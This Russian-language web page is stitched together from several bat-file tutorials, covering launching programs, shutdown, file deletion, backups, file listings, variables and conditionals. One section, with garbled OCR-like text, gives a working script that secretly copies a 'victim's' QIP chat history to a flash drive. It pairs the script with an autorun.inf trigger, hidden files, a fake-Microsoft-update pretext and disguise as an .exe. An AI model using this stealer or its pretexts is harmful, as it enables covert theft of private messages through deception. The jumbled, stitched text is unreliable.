Главная » Полезное » Готовые бат файлы. Такие полезные bat-файлы. Как изменить IP адрес компьютера из пакетного файла

Готовые бат файлы. Такие полезные bat-файлы. Как изменить IP адрес компьютера из пакетного файла

Использование графического интерфейса в операционных системах сегодня представляется чем-то само собой разумеющимся и совершенно естественным, но так было не всегда. Первая операционная система MS DOS, разработанная компанией Microsoft, не имела GUI, а управление выполнялось посредством ввода текстовых команд. С тех пор минуло без малого 40 лет, однако скриптовый язык командной строки по-прежнему пользуется популярностью, причём не только в среде разработчиков.

Командная строка не столь удобна, зато с её помощью можно выполнять недоступны из GUI операции. С другой стороны, запускать каждый раз консоль, вводить в неё одну за другой команды – всё это сильно замедляет работу. Впрочем, можно существенно упростить задачу, создав бат-файл или попросту батник – текстовый файл с расширением BAT, содержащий список инструкций, обрабатываемых командным интерпретатором CMD. Используются такие файлы для автоматизации разных задач, например, для удаления временных файлов по расписанию или запуска программ.

Как создать файл с расширением BAT

Итак, как создать bat-файл в Windows 7/10? Очень просто. Для этого понадобится любой текстовый редактор и знание основ командной строки. Можно использовать Блокнот, а ещё лучше Notepad++, так как последний имеет подсветку синтаксиса. Создайте в редакторе новый файл, в меню «Файл» выберите «Сохранить как», дайте будущему скрипту имя, а в выпадающем списке «Тип файла» выберите «Batch file (*bat; *cmd; *nt)».

Если для создания bat-файла захотите использовать Блокнот, расширение нужно присвоить вручную, а в списке «Тип файла» выбрать «Все файлы».

Как видите, создать файл с расширением bat не составляет сложности, есть тут, однако, свои тонкости. В командных файлах нельзя использовать перенос строк, кодировка bat-файла должна быть выставлена UTF-8, если в теле скрипта используется кириллица, кодировку нужно изменить, вставив в положенном месте команду chcp 1251.

Вместо расширения BAT можно использовать CMD, результат выполнения скрипта будет точно таким же.

Основные команды, синтаксис и примеры использования батников

Как сделать bat-файл вы знаете, теперь настала пора самого интересного, а именно синтаксиса языка интерпретатора CMD. Понятно, пустой батник работать не будет, он даже не запустится при двойном по нему клике. Чтобы скрипт сработал, в нём должна быть прописана хотя бы одна команда. Для наглядного примера посмотрим, как написать bat-файл для запуска программ. Допустим, приступая к работе, вы каждый раз запускаете три программы – Chrome, Firefox и VLC. Упростим задачу, создав скрипт, который будет сам запускать эти программы с интервалом в пять секунд.

Открываем пустой батник и вставляем в него такие команды:

Start "" "C:/Program Files/Google/Chrome/Application/chrome.exe" timeout /t 05 start "" "C:/Program Files/Mozilla Firefox/firefox.exe" timeout /t 05 start "" "C:/Program Files/VideoLAN/VLC/vlc.exe"

Команда start запускает исполняемый файл нужной программы, а команда timeout /t задаёт интервал между запусками. Обратите внимание на расположение кавычек – в них берутся пути, в которых имеются пробелы. Также если в пути есть кириллические символы, в начало скрипта следует вставить изменяющую кодировку команду chcp 1251 , в противном случае интерпретатор не сможет правильно прочитать путь.

При запуске скрипта будет последовательно открыто четыре окна консоли, это нормальное явление, по выполнении команд все они автоматически закроются, впрочем, можно сделать так, чтобы открывалось только первое окно. Для этого код запуска приложения следует изменить следующим образом:

Start /b "" "путь"

Может также статься, что в определённый момент потребуется приостановить выполнение скрипта, чтобы пользователь сам смог решить, выполнять ли все остальные команды или нет. Для этого существует команда pause . Попробуйте заменить ею timeout и увидите, что получится.

Start /b "" "путь" pause

Рассмотрим ещё один пример команд для bat файла. Напишем скрипт, который будет в одном случае выключать компьютер, а в другом – перезагружать его. Для этих целей мы будем использовать команду shutdown с параметрами /s , /r и /t . При желании можно добавить в батник запрос на выполнение действия, вот так:

@echo off chcp 1251 echo "Вы действительно хотите выключить компьютер?" pause shutdown /s /t 0

Поясняем. Первая команда скрывает текст самих команд, вторая – устанавливает кириллическую кодировку, третья – выводит сообщение для пользователя, четвертая – устанавливает паузу, пятая – выключает, а с ключом /r вместо /s перезагружает компьютер без традиционной задержки в одну минуту. Если не желаете церемониться с запросами и паузами, можете оставить только пятую команду.

Если вместо русского текста при выполнении команды вы увидите крякозябры, попробуйте преобразовать файл скрипта в ANSI.

Что ещё можно делать с помощью скриптов? Много чего, например, удалять, копировать или перемещать файлы. Допустим, у вас есть некая папка data в корне диска D, содержимое которой нужно очистить одним махом. Открываем батник и вставляем в него такую команду:

Del /A /F /Q "D:/data"

А можно и так:

Forfiles /p "D:/data" /s /m *.* /c "cmd /c Del @path"

В отличие от первой, вторая команда удаляет файлы рекурсивно, то есть в папке data будут удалены все файлы плюс те, которые лежат во вложенных каталогах.

А вот ещё один полезный пример. Напишем скрипт, который будет создавать резервную копию содержимого одной папки и сохранять данные в другую. За копирование отвечает команда robocopy :

Robocopy C:/data D:/backup /e pause

Запустив такой батник на исполнение, вы скопируете все содержимое папки data в папку backup, включая вложенные каталоги, пустые и с файлами. К слову, команда robocopy имеет много параметров, позволяющих очень гибко настраивать параметры копирования.

Запуск bat-файлов от имени администратора и по расписанию, скрытый запуск bat

Теперь вы знаете как создавать батники и имеете некое общее представление о языке интерпретатора CMD. Это были основы, теперь пришла пора познакомиться с некоторыми полезными особенностями работы с bat-файлами. Известно, что для выполнения некоторых действий программам нужны права администратора. Понадобиться они могут и батникам. Самый очевидный способ запустить скрипт от имени администратора, это кликнуть по нему правой кнопкой мыши и выбрать в контекстном меню соответствующую опцию.

Кроме того, можно сделать так, что конкретный батник будет запускаться с повышенными привилегиями всегда. Для этого необходимо создать на такой скрипт обычный ярлык, открыть его свойства, нажать кнопку «Дополнительно» и отметить в открывшемся окошке галочкой пункт «Запуск от имени администратора». Этот способ хорош ещё тем, что позволяет выбрать для ярлыка любой значок, тогда как файл с расширением BAT или CMD всегда будет иметь невзрачный вид.

Скрипты, как и все приложения, можно запускать по расписанию. Команда timeout /t здесь не совсем уместна, для отложенного запуска лучше всего использовать встроенный «Планировщик задач» Windows. Здесь всё просто. Открываем командой taskschd.msc Планировщик, определяемся с триггером, действие выбираем «Запустить программу» и указываем путь к bat-файлу. Вот и всё, скрипт будет запущен в положенное время.

И напоследок ещё один интересный момент. Когда вы запускаете bat-файл, на экране появляется, пусть даже на какую-то долю секунды, окно командной строки. А нельзя ли сделать так, чтобы скрипт выполнялся в скрытом режиме? Можно, причём несколькими способами. Самый простой заключается в следующем. Создаём на bat-файл ярлык, открываем его свойства и в меню «Окно» выбираем «Свёрнутое в значок». После этого единственным видимым признаком запуска скрипта будет появление значка CMD на панели задач, окон же при этом открываться не будет.

Если вы желаете полностью скрыть выполнение скрипта, можете воспользоваться «костылем» – скриптом VВS, который будет запускать ваш батник в скрытом режиме. Текст скрипта приведен ниже, сохраните его в файл hidden.vbs , предварительно заменив путь во второй строчке кода D:/sсript.bat путём к вашему батнику.

Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "D:\script.bat" & Chr(34), 0 Set WshShell = Nothing

Есть также и другие варианты, например, использование утилиты Hidden Start , позволяющей запускать исполняемые и пакетные файлы в скрытом режиме, в том числе без приглашения .

А на этом пока всё. Информацию касательно создания скриптов BAT без труда можно найти в интернете. Неплохо также ознакомиться с учебником Уильяма Станека «Командная строка Microsoft Windows». Несмотря на то, что с момента издания книги прошло более десяти лет, содержащаяся в ней информация до сих пор актуальна.

Чтобы открыть командную строку в нужном месте (в папке с файлами, например), нужно вызвать контекстное меню (ПКМ) с зажатой клавишей Shift :

О том, как работать с командной строкой вы . Переходим непосредственно к командам.

Список всех команд консоли с описанием можно получить, набрав в консоли help
Справку по любой команде можно получить при помощи ключа /?
Например: DIR /? выведет справку по всем ключам команды DIR

Удаление временных файлов перед выключением компьютера

Я думаю, что все как минимум или сталкивались с ними лично. Bat-файл поможет вам правильно завершить работу компьютера, удалив временные файлы, в папку с которыми обычно и загружается вирус.

При следующей загрузке устройства (на ранней стадии) вирус делает записи в реестре, нарушая нормальную работу системы. И когда загружается рабочий стол, ситуацию уже сложнее исправить.

Разумеется, далеко не все вирусы работают по этой схеме, но тем не менее очистка временных файлов и кэша системы перед её выключением значительно снижает такие риски.

start /wait "" "C:\Program Files\CCleaner\CCleaner64.exe" /auto start /wait "" "C:\WINDOWS\System32\shutdown.exe" /s /t 10

Программа CCleaner по-умолчанию отсутствует в Windows. Её нужно установить отдельно. Скачать установщик можно на сайте разработчика .

Первой запускается программа CCleaner и удаляет все временные файлы на компьютере. Затем запускается программа выключения компьютера с задержкой в 15 секунд, чтобы избежать возможных конфликтов с работой CCleaner.

Необходимо и скопировать этот пример в него. Ярлык на bat-файл вывести на рабочий стол, назначить ему красивую иконку и выключать компьютер при помощи этого ярлыка-кнопки.

Получить список файлов в папке с помощью Bat-файла

Периодически пользуюсь bat-файлами для получения списков файлов в папках. Частая ситуация: по работе клиенты присылают от фотографа архив с фотографиями. Фотографии имеют названия в соответствии с артикулами товаров.

Никакой текстовой информации, сопровождающей фотографии нет. Необходимо сделать список на основе присланных фотографий и импортировать его в каталог товаров на сайте. Для каждого товара сделано по несколько фото. Они именованы так:

  1. Фото товара с артикулом А1234 (2).jpg
  2. Фото товара с артикулом В1234 (2).jpg

Сначала я получаю список всех файлов, находящихся в папке при помощи следующей команды:

dir *.jpg /B /L > filelist.txt

Команда *.jpg позволит учитывать только JPG-файлы при составлении списка. Ключ /B позволит получить список, содержащий только имена файлов, находящихся в папке. Ключ /L выведет все имена в нижнем регистре. Команда >filelist.txt создаст текстовой файл с именем filelist и запишет резутьтат туда.

Следующим шагом нужно избавиться от дублей, чтобы в списке осталось только по одной записи для каждого товара:

type filelist.txt | findstr /I /V "(2 )" > temp.txt

Команда findstr будет осуществлять поиск в ранее полученном файле. Ключ /I позволяет искать записи без учёта регистра, а ключ /V записывает строки, в которых отсутствует искомое совпадение. В кавычках указана строка, совпадение с которой нужно фиксировать. И последняя команда > temp.txt запишет в файл temp все результаты, не содержащие в имени "(2)". В результате я получу:

  1. Фото товара с артикулом А1234.jpg
  2. Фото товара с артикулом В1234.jpg

Если вам понадобится провести обратную операцию - вывести в файл temp.txt только совпадения, то в списке команд (findstr /? ) вы не найдёте нужной. Есть только обратный фильтр по точному совпадению - /X .

Для этой задачи можно воспользоваться командой вывода номера строк /N , в которых имеются совпадения (номера выводятся вместе со строкой):

type filelist.txt | findstr /I /N "(2 )" > temp.txt

Главное при работе с текстовой информацией (текстовыми файлами) помнить один момент:

Если для текстовых операций вы в качестве исходника используете файл, который создали не через командную строку, он должен быть в кодировке, которая понимается командной строкой. Например, CP1251 (ANSI) .

Иначе рискуете получить на выходе нечто такое:

Скопировать дерево каталогов без файлов

Когда я начинаю делать новые проекты, возникает необходимость получить дерево каталогов, аналогичное старому проектному с той разницей, что в ней не должно быть файлов. Для нового проекта проще добавить 3-5 файлов в нужные пустые папки, чем копировать существующий проект и удалять потом оттуда ненужное.

Получить дерево каталогов без файлов можно при помощи следующей команды:

xcopy folder_1 folder_2 /T /E

Команда xcopy берёт за основу дерево каталога по адресу folder_1 и создаёт его копию в папке folder_2 . Ключ /T позволяет осуществить копирование каталогов, не копируя файлы, лежащие в них. Ключ /E уточняет, что копировать необходимо все каталоги, в т.ч. пустые.

Оптимально для получения дерева каталогов нужно открыть командную строку в родительской папке каталога-донора и в этой же папке создать каталог, в который будет помещено копируемое дерево. При этом команде достаточно будет указать имена папки-донора и папки назначения (как в примере выше).

Батник - это обычный тексто-вый файл, содержащий наборы команд интерпретатора и имею-щий расширение .bat или .cmd ! (.cmd работают только в ОС се-мейства NT). Редактировать та-кие файлы можно при помощи блокнота "Или любого другого текстового редактора.

Пишем батник

Создавать,батник будем для второй ситуации (она не-много сложнее). Для написания батника возьмём стандартный блокнот. В блокноте пропишем следующие строки:

Echo off - скрывает ви-зуальный процесс копиро-вания.

C:\Program Files\QIP\Users - папка, в которой находится история.

f:\rar.exe а -г users > nul -запуск архиватора для ус-корения копирования.

copy users.rar g:\adc > nu l - адрес куда копируем.

del users.rar > nul - удаляет созданный архив на жеском диске.

Не всегда бывает известна бук-ва флеш-диска. В "таком случае прописываем несколько вариан-тов (один уж точно угадаем):

chdit C:\Program Files\QIP\Users

f:\rar.exe а -г users > nul

copy users.rar e:\abc > nul

g:\rar.exe a -r users > nul

copy users.rar g:\abc > nul

h:\rar.exe a -r users > nul

copy users.rar h:\abc > nul

del users-rar > nul

Сохраняем наш текстовый документ. Назовём его xxx.txt. Теперь меняем расши-рение c .txt нa .bat. Это мож-но сделать в Total Commander"e.

Создаем автозапуск

Теперь надо сделать так, что-бы батник автоматически запускался с флешки при под-ключении к компьютеру. Для это-го создаём новый текстовый до-кумент и пишем в нём:

ShellExeCute="xxx.bat"

Сохраняем файл и переимено-вываем его на autorun.inf .

Делаем архив

Из папки с WinRAR (по умолча-нию C:\Program Files\WinRAR бе-рём файлик rar.exe . Создаём в корне флешки папку с именем abc . Также, в корень флешки бро-саем остальные три файла (xxx.bat, autorun.inf, rar.exe ).

Все файлы скрываем от посто-ронних глаз (правой кнопкой мы-ши вызываем Меню на файле > Свойства > Скрытый . Это всё. Отдаём флешку "жертве" и ждём результата.

Социальная инженерия

Не обязательно делать авто-запуск. "Жертва" сама мо-жет запустить батник. Для этого надо воспользоваться социаль-ной инженерией. Например, со-общаем пользователю о том, что компания Microsoft выпустила новое обновление для Windows. Это обновление повышает быстро-действие и без-опасность опера-ционной системы. Устанавливать об-новление нужно то-лько с флешки. Можете сами придумать причи-ну, по которой на-до запустить наш батник. Всё зави-сит от вашей фан-тазии и смекалки.

Превращаем.bat в.exe

Для большей "безопаснос-ти" neperoним.bat в.ехе (вдруг"жертва" знакома с напи-санием батников). В этом нам поможет небольшая програм-мка ExeScript v3.0 .

Скачать можноэдесь: http://uploadbox.com/fMes/c8d5a60af9/ (размер 3.51. Мб). В окне программы жмём иконку с чистым листом и выбираем Batch file (bat) или File > New > Batch file (bat) . В по-явившемся окне пишем наш "текст".

Теперь укажем для на-шего ехе-шника подхо-дящую иконку. В окне Properties щёлкаем на поле Custom Icon и вы-бираем заранееприготовленную иконку. Далее нажима-ем F7 или Project > Build . Всё, ехе-шник готов.

Как показал опыт пакетные файлы, т.е. батники очень популярны среди системных администраторов, которые используют их в своих целях автоматизации. И сегодня мы продолжаем изучать эти самые bat файлы, рассматривать основы мы не будем, а перейдем уже к более продвинутым вещам.

В первой статье Написание bat файлов — примеры батников мы рассмотрели простые примеры использования батников, но как оказалось написание батников очень интересно практически всем и уже все хотят узнать что-то более сложное, с помощью которого можно еще больше упростить автоматизацию некоторых процессов.

Пример 1 – удаление старых архивов

При архивировании чего-либо, многих интересует вопрос «Как удалять старые архивы за ненадобностью с помощью батника? ». Например, все они лежат в одной папке и нужно удалять все архивы, которые старше 14 дней. После того как я почитал мануалы, полазил в Интернете, я могу предложить следующий способ.

Можно сделать так, что в папке с архивами будут храниться только определенное количество архивов, соответственно последних (т.е. как раз в нашем случае за последние 2 недели ).

Это делается с помощью двух команд. Первая, это DIR, т.е. просто считываем все файлы в одной папке, и записываем их название в текстовый файл.

dir D:\arhiv\*.rar /a:-D/b/o:-D > list_of_files.txt

  • dir D:\arhiv\*.rar – это означает, что мы считываем все rar архивы в папке D:\arhiv\;
  • /a:-D – это означает, что будут выводиться все файлы с указанными атрибутами, ключ -D означает, что нам нужны только файлы, не каталоги, префикс «-» как раз имеет значение отрицание, т.е. не каталоги, если бы мы написали просто D, то он считывал бы и каталоги;
  • /b – это вывод только имен файлов;
  • /o:-D – это сортировка, ключ –D означает, что будет выполнена сортировка по дате, но сначала более старые, для исправления этого мы уже знаем, что нам поможет префикс «-»;
  • > — означает, что будет выполнено перенаправление вывода в файл list_of_files.txt, назвать можете по-другому.

Вот мы считали все наши архивы и записали их в файл, далее нам нужно перебрать все эти файлы и оставить только 14 штук, т.е. за последние 2 недели. Это делаем с помощью команды FOR , это своего рода цикл, который выполняет определенное действие для каждого файла в папке или каждой строки в файле, как в нашем случае.

  • for – сама команда для переборки;
  • /F «skip=13» – это ключ с параметром, который означает, что не нужно обрабатывать первые 13 файлов, т.е. мы их пропускаем. Почему 13, а не 14 да потому что 14 архив (т.е. сегодняшний, который должен создаться при выполнении этого батника ) еще не создался, поэтому и 13;
  • %%i – переменная, в которой хранится название текущего файла;
  • In (list_of_files.txt) – означает, что перебирать все строки именно в этом файле;
  • do (del /Q «%%i») — говорит, что необходимо сделать с каждым, в нашем случае мы просто удаляем эти файлы с помощью del /Q ключ /Q, для того чтобы у нас не спрашивали подтверждения перед удалением. Советую для тестов del /Q заменить на echo, т.е. просто вывести на экран те файлы.

Итого у нас получился вот такой батник:

dir D:\arhiv\*.rar /a:-D/b/o:-D > list_of_files.txt

for /F «skip=13» %%i in (list_of_files.txt) do (del /Q «%%i»)

Соответственно после этих строк можете писать сам код архивации, и в итоге у нас получится то, что в нашей папке будет храниться только 14 архивов, конечно же, самых последних.

Пример 2 – использование переменных

В батниках можно даже использовать переменные, как в настоящем языке программирования. Рассмотрим простейший пример использования переменных, например, мы хотим умножать на 2 число, которое мы введем в поле при запуске батника.

@echo off

SET /a c=%a%*%b%

echo %c%

Как вы поняли, переменные задаются с помощью команды SET. Для того чтобы использовать переменную в дальнейшем мы с обеих сторон переменной подставляем знак процента (%), для того чтобы командная строка поняла, что это именно переменная.

  • @echo off – для того чтобы наши команды не отображались на экране;
  • SET a=2 – это просто задаем переменной «a» значение;
  • SET /p b=[введите второе число для умножения] – это мы задаем переменной «b» значение, которое мы введем в поле, для того чтобы батник понял, что мы хотим сами ввести значение переменной, используется ключ /p;
  • SET /a c=%a%*%b% — задаем переменной «c» результат нашего выражение (в нашем примере это умножение );
  • echo %c% — выводим на экран значение переменной «c»;
  • pause – это мы просто ставим на паузу выполнение нашего bat файла, чтобы просто на всего увидеть все результаты.

Кстати, для того чтобы у Вас русские буквы нормально отображались в командной строке, сохраните бат файл в кодировке DOS-866.

С переменными разобрались, теперь давайте, применим это к нашему первому примеру, допустим, мы хотим оставлять не 14 архивов, а то количество, которое сами захотим, для этого мы с Вами при запуске батника будем вводить число архивов, которое нужно сохранить. Получится примерно вот так:

@echo off

dir D:\test\*.rar /a:-D/b/o:-D > list_of_files.txt

for /F «skip=%chislo%» %%i in (list_of_files.txt) do (del /Q «%%i»)

Ну вот, примерно так, конечно на практике может это и не понадобится, но зато мы узнали, как можно использовать переменные.

Про переменные хочу еще сказать, что есть такие системные переменные как:

%DATE% — показывает текущую дату.

%TIME% — показывает текущее время.

Для примера выполните следующий код:

echo %DATE%

echo %time:~0,-3%

Переменную %TIME% я написал именно таким образом, для того чтобы результат вывелся в более читабельном виде, попробуйте написать %TIME% и % TIME:~0,-3% у Вас, во втором случае уберутся 3 последних знака.

На самом деле системных переменных больше, просто эти могут потребоваться чаще остальных.

Пример 3 – оператор условного выполнения IF

Как и в других полноценных языках в батниках можно использовать оператор условного выполнения IF. Приведем небольшой пример, батник просто проверяет, существует файл или нет:

@echo off

IF EXIST test.txt (

echo Файл существует

echo Файла такого нет

IF EXIST test.txt – это как раз и идет проверка на наличие файла.

После, в скобках, идет то, что мы хотим сделать, если файл существует, а если файла не существует, то после ELSE, идет то, что нужно выполнить при отсутствии файла.

Теперь немного модифицируем наш пример с умножением на 2 введенное нами число, просто, если вдруг мы введем ноль, мы выведем соответствующие сообщение и попросим ввести заново число.

@echo off

SET /p b=[введите второе число для умножения]

SET /a c=%a%*%b%

if %c%==0 (echo вы ввели число 0, введите другое) else echo %c%

if %c%==0 (goto:metka)

Тут уже все знакомо, единственное, что при сравнении переменной «c» используется оператор сравнения == (два равно ), так как просто равно (=) — это оператор присваивания. Если Вы заметили я здесь использовал оператор goto, т.е. переход к нужной метки. Другими словами, ставим метку и в зависимости от результата проверки условия, будет осуществлен переход к нужной метке.

Теперь хотелось бы отметить то, что многие используют в работе, например, для создания архива, программу winrar и, конечно же, используют ее в своих батниках, но многие задают вопросы по ключам, которые относятся к winrar. Вы не путайте ключи winrar, они используются только для этой программы, а не для всего, что есть в батниках, т.е. командной строке, например, если Вы используете 7zip, то ключи уже будут другие. Что касается ключей winrar то, полный и лучший справочник, на мой взгляд, есть, конечно же, в самом winrare. Для того чтобы посмотреть описание ключей winrar, откройте программу winrar зайдите в меню Справка, затем нажмите «Содержание », а далее выберите в самом содержание строку «Режим командной строки », где и будет описание всех ключей, даже приводятся простенькие примеры. Соответственно если у Вас английская версия winrar, то смысл такой же, только будет все на английском языке.

На этом вторая наша часть изучения батников закончена. Удачи!



Предыдущая статья: Следующая статья:

© 2015 .
О сайте | Контакты
| Карта сайта